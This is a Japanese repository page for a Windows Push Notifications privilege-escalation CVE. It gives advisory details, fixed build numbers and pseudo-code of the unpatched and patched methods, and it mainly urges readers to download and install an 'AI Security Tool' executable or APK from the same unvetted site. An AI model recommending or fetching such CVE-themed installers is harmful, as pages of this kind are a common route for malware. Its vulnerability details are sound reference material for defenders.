
CVE-2026-42978 Windows Push Notifications (WpnService) の Use-After-Free および Race Condition に関するPoC研究、診断スキャナー、ならびにAI Security Tool向けセキュリティ監査モジュール。
CVE-2026-42978
AIセキュリティツール向けWindowsプッシュ通知モジュール
次世代AIセキュリティエコシステム、マルチプロトコルターミナル & 自律エージェントスイート
ウェブサイト · 製品ドキュメント · ホストアプリケーション · コミュニティチャット
ウェブサイトナビゲーション: ホーム · アップデート · ダウンロード · モジュール
製品: AI Security Tool
サイト: zerodayevil.github.io
ドキュメント: https://zerodayevil.github.io/ai-security-tool
このモジュールは、AI Security Tool 向けのレビュー済み解説記事であり、安全チェックプロファイルです。
プロジェクトサイトまたは公式カタログに掲載されているモジュールのみを使用してください。このモジュールは、承認されたアプリケーション内で、自身が所有するか、書面による評価許可を得たエンドポイントに対してのみロードしてください。
このリポジトリは、WpnService に対する武器化されたエクスプロイトを同梱していません。lab/ 配下のラボは、このクラスのバグ(TOCTOU / ダブルフェッチ)を模したスタンドアロンのモックです。実際のプッシュ通知サービスとは通信しません。
まずホストアプリケーションをインストールしてください。その後、Modules → Windows / Local EoP → CVE-2026-42978 からこのモジュールを有効化します。
| OS / プラットフォーム | バージョン | アーキテクチャ / 形式 | 更新日 | ステータス | ダウンロード |
|---|---|---|---|---|---|
| Windows | v6.3.20 | x64 インストーラー (.exe) | 2026-09-08 | 最新 | Download .exe |
| Windows | v6.3.20 | x64 ポータブル (.tar.gz) | 2026-09-08 | 最新 | Download .tar.gz |
| macOS | v5.3.29 | Apple Silicon (.dmg) | 2026-09-05 | 安定版 | Download .dmg |
| Linux | v5.3.27 | ユニバーサル x64 (.tar.gz) | 2026-09-01 | 安定版 | Download .tar.gz |
| Android | v5.3.27 | ARM64 APK (.apk) | 2026-09-01 | 安定版 | Download .apk |
公式ソースのみ:
CVE-2026-42978 は、Windows プッシュ通知におけるローカル特権昇格です。Microsoft は、適切な同期なしに共有リソースへ同時アクセスする問題(CWE-362)として説明しています。パッチ適用済みと未適用の wpncore.dll の研究により、プラットフォームシャットダウン中の PresentationEndpointFacade におけるuse-after-free レースが明らかになっています。
WpnService はセッション 0 で NT AUTHORITY\SYSTEM(svchost.exe -k netsvcs -p)として実行されます。トースト、タイル、バッジの配信はこのサービスを経由します。このプロセスに対するレースに勝利することは、ローカルマシン上の SYSTEM 問題です。リモートの事前認証不要な DC のバグではありません。
ステータス: 2026年6月10日(Patch Tuesday)に修正済み。このページは防御的研究です。
これは CVE-2026-41089(Netlogon RCE)ではありません。コンポーネント、特権モデル、パッチ日が異なります。
| 項目 | 値 |
|---|---|
| CVE | CVE-2026-42978 |
| BDU | BDU:2026-08249 |
| ベンダーアドバイザリ | MSRC — Windows Push Notifications EoP |
| 深刻度 | 高 · CVSS 3.1 7.8 |
| 脆弱性の種類 | CWE-362 競合状態 · シャットダウンパスにおける use-after-free |
| コンポーネント | Windows Push Notifications · WpnService · wpncore.dll |
| 攻撃ベクトル | ローカル |
| 必要な特権 | 低(認可されたローカルユーザー) |
| ユーザー操作 | 不要 |
| Patch Tuesday | 2026年6月10日 |
| モジュール種別 | 研究解説 + アプリ内安全チェック + 検出パック |
プッシュ通知を搭載するクライアントおよびサーバー SKU。チケットをクローズする前に、MSRC で正確な KB を確認してください。
| ファミリー | 備考 |
|---|---|
| Windows 10 | 1809、21H2、22H2(該当する場合は x86 / x64 / ARM64) |
| Windows 11 | 23H2、24H2、25H2、26H1 |
| Windows Server | 2016 / 2019 / 2022 / 2025(コンポーネントが存在する場合はフルおよび Server Core) |
公開されているサービス情報に基づく目安ビルド(常に MSRC を再確認してください):
| ブランチ | 修正済みビルドの目安 |
|---|---|
| Windows 11 23H2 | 22631.7219 |
| Windows 11 24H2 | 26100.8655 |
| Windows 11 25H2 | 26200.8655 |
| Windows 11 26H1 | 28000.2269 |
wpncore.dll の例(24H2) | 脆弱 26100.8521 → 修正済み 26100.8655 |
このファサードは通知 API 呼び出しをラップし、PresentationEndpointImpl に委譲します。プラットフォームのシャットダウン中に NotificationPlatform オブジェクトが破棄されます。歴史的に、いくつかのファサードメソッドは、シャットダウンフラグや共有ロックを伴わずにプラットフォームポインタを取得していました。もしティアダウンがレースに勝利すると、次の呼び出しはダングリングポインタを使用します。
同じロックとガードのパターンが、49 個の PresentationEndpointFacade::* メソッド全体に適用されました。その下の実装メソッドはそのままにされました。穴はファサードにありました。
wpncore.dll 26100.8521)// PresentationEndpointFacade::ToastUnblockAll — unpatched
long ToastUnblockAll(PresentationEndpointFacade *this) {
NotificationPlatformHandle::Get(this + 0x50);
if (platform == NULL)
Throw_Hr(...);
return PresentationEndpointImpl::UnblockToastsForEachApp(...);
}
wpncore.dll 26100.8655)// PresentationEndpointFacade::ToastUnblockAll — patched
long ToastUnblockAll(PresentationEndpointFacade *this) {
if (Feature_4097557817::IsEnabled()) {
AcquireSRWLockShared(&Wns::s_platformLock);
if (Wns::s_platformShutdown)
Throw_Hr(E_APPLICATION_EXITING);
NotificationPlatformHandle::Get(this + 0x50);
ReleaseSRWLockShared(&Wns::s_platformLock);
}
}
パッチが追加するもの:
AcquireSRWLockShared — リーダー・ライターロック。シャットダウンは排他を取得します。s_platformShutdown — ティアダウンが開始された場合、E_APPLICATION_EXITING で離脱します。unique_storage による RAII 解放。これにより例外パスでもロックが解放されます。Feature_4097557817。